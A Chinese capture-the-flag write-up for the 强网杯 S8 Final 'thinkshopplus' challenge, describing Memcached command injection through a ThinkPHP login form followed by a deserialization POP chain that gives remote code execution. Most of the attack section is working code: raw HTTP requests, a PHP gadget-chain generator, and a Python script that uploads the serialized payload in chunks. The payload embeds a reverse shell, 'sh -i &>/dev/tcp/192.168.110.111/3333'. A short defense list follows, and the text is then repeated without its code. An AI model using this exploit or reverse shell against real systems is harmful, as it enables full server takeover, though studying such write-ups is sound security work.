S8强网杯Final-thinkshopplus
字数 1156 2025-08-22 18:37:14

ThinkPHP框架漏洞利用:Memcached缓存注入与反序列化攻击

漏洞背景

这是一个关于ThinkPHP框架的安全漏洞利用案例,涉及Memcached缓存注入和反序列化攻击。该漏洞与S7初赛的thinkshopping题目类似,但增加了对MySQL的secure_file_priv限制,使得传统的文件读取方法失效。

漏洞原理

1. Memcached缓存注入

攻击者可以通过构造特殊的用户名,向Memcached服务器注入恶意数据。ThinkPHP框架在处理用户登录时,会将用户数据序列化后存储在Memcached中。

2. 反序列化漏洞

当系统从Memcached读取并反序列化用户数据时,如果数据中包含精心构造的恶意序列化对象,可以触发反序列化漏洞,导致远程代码执行(RCE)。

漏洞利用步骤

1. 确认Memcached注入点

通过发送特殊构造的用户名,可以注入Memcached数据:

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: 172.20.64.1:36000
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

其中关键部分是:

  • admin%00%0D%0A:截断用户名并换行
  • set think:shop.admin|admin 4 500 101:Memcached set命令
  • 后面跟着序列化的用户数据

2. 构造POP链

利用ThinkPHP框架中的类构造POP链,实现反序列化到RCE:

<?php
namespace think\process\pipes {
    use think\model\Pivot;
    class Windows {
        private $files = [];
        public function __construct($function, $parameter) {
            $this->files = [new Pivot($function, $parameter)];
        }
    }
    // 生成payload
    $array = ['nestedArray' => new Windows('system', "bash -c 'sh -i &>/dev/tcp/192.168.110.111/3333 0>&1'")];
    echo urlencode(serialize($array));
}

namespace think {
    abstract class Model {}
}

namespace think\model {
    use think\Model;
    use think\console\Output;
    class Pivot extends Model {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function, $parameter) {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function, $parameter);
            $this->parent = new Output($function, $parameter);
        }
    }
    abstract class Relation {}
}

// 其他命名空间和类定义...

3. 分块传输Payload

由于Payload较大,需要分块传输:

import urllib.parse
import requests
import time

def poc_NmEEF(transmission):
    headers = {
        "Host": "172.20.64.1:36000",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "PHPSESSID=korn6f9clt7oere36ke7pj7m70"
    }
    res = requests.post(
        url="http://172.20.64.1:36000/public/index.php/index/admin/do_login.html",
        headers=headers,
        data={"username": transmission, "password": "admin"},
        verify=False
    )
    time.sleep(5)
    return res.text

# 分块传输
encoded_data = "a%3A1%3A%7Bs%3A11%3A%22nestedArray%22%3BO%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A52%3A%22bash%20%2Dc%20%27sh%20%2Di%20%26%3E%2Fdev%2Ftcp%2F192%2E168%2E110%2E111%2F3333%200%3E%261%27%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A6%3A%22jelly%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session%5Fname%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A52%3A%22bash%20%2Dc%20%27sh%20%2Di%20%26%3E%2Fdev%2Ftcp%2F192%2E168%2E110%2E111%2F3333%200%3E%261%27%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A6%3A%22jelly%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session%5Fname%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D%7D"

decoded_data = urllib.parse.unquote(encoded_data)
block_size = 150

for i in range(0, len(decoded_data), block_size):
    chunk = decoded_data[i:i+block_size]
    length = len(chunk)
    command = "set" if i == 0 else "append"
    transmission = f"admin%00%0D%0A{command}%20think%3Ashop.admin%7Cadmin%204%20500%20{length}%0D%0A{chunk}"
    poc_NmEEF(urllib.parse.unquote(transmission))
    print("attack"+str(i))

4. 触发反序列化

使用账户密码admin/555555登录,触发反序列化:

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: 172.20.64.1:36000
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin&password=555555

关键点总结

  1. Memcached注入语法

    • 使用%00截断用户名
    • 使用%0D%0A插入换行符
    • Memcached命令格式:set key flags exptime bytes [noreply] value
  2. POP链构造

    • 利用think\process\pipes\Windows类作为入口
    • 通过think\model\Pivot类传递恶意参数
    • 最终到达think\Request类的filter参数实现RCE
  3. 分块传输技巧

    • 首次使用set命令
    • 后续使用append命令拼接数据
    • 每块大小控制在150字节左右
  4. 触发条件

    • 需要知道有效的PHPSESSID
    • 需要知道Memcached的key命名规则(think:shop.admin|admin

防御建议

  1. 对用户输入进行严格过滤,防止Memcached注入
  2. 更新ThinkPHP框架到最新版本
  3. 限制Memcached的访问权限
  4. 使用PHP的unserialize_callback_funcallowed_classes限制反序列化类
  5. 对敏感操作进行二次验证

通过这种攻击方式,攻击者可以在目标系统上执行任意命令,完全控制服务器,因此该漏洞危害极大。

ThinkPHP框架漏洞利用:Memcached缓存注入与反序列化攻击 漏洞背景 这是一个关于ThinkPHP框架的安全漏洞利用案例,涉及Memcached缓存注入和反序列化攻击。该漏洞与S7初赛的thinkshopping题目类似,但增加了对MySQL的 secure_file_priv 限制,使得传统的文件读取方法失效。 漏洞原理 1. Memcached缓存注入 攻击者可以通过构造特殊的用户名,向Memcached服务器注入恶意数据。ThinkPHP框架在处理用户登录时,会将用户数据序列化后存储在Memcached中。 2. 反序列化漏洞 当系统从Memcached读取并反序列化用户数据时,如果数据中包含精心构造的恶意序列化对象,可以触发反序列化漏洞,导致远程代码执行(RCE)。 漏洞利用步骤 1. 确认Memcached注入点 通过发送特殊构造的用户名,可以注入Memcached数据: 其中关键部分是: admin%00%0D%0A :截断用户名并换行 set think:shop.admin|admin 4 500 101 :Memcached set命令 后面跟着序列化的用户数据 2. 构造POP链 利用ThinkPHP框架中的类构造POP链,实现反序列化到RCE: 3. 分块传输Payload 由于Payload较大,需要分块传输: 4. 触发反序列化 使用账户密码 admin/555555 登录,触发反序列化: 关键点总结 Memcached注入语法 : 使用 %00 截断用户名 使用 %0D%0A 插入换行符 Memcached命令格式: set key flags exptime bytes [noreply] value POP链构造 : 利用 think\process\pipes\Windows 类作为入口 通过 think\model\Pivot 类传递恶意参数 最终到达 think\Request 类的 filter 参数实现RCE 分块传输技巧 : 首次使用 set 命令 后续使用 append 命令拼接数据 每块大小控制在150字节左右 触发条件 : 需要知道有效的PHPSESSID 需要知道Memcached的key命名规则( think:shop.admin|admin ) 防御建议 对用户输入进行严格过滤,防止Memcached注入 更新ThinkPHP框架到最新版本 限制Memcached的访问权限 使用PHP的 unserialize_callback_func 或 allowed_classes 限制反序列化类 对敏感操作进行二次验证 通过这种攻击方式,攻击者可以在目标系统上执行任意命令,完全控制服务器,因此该漏洞危害极大。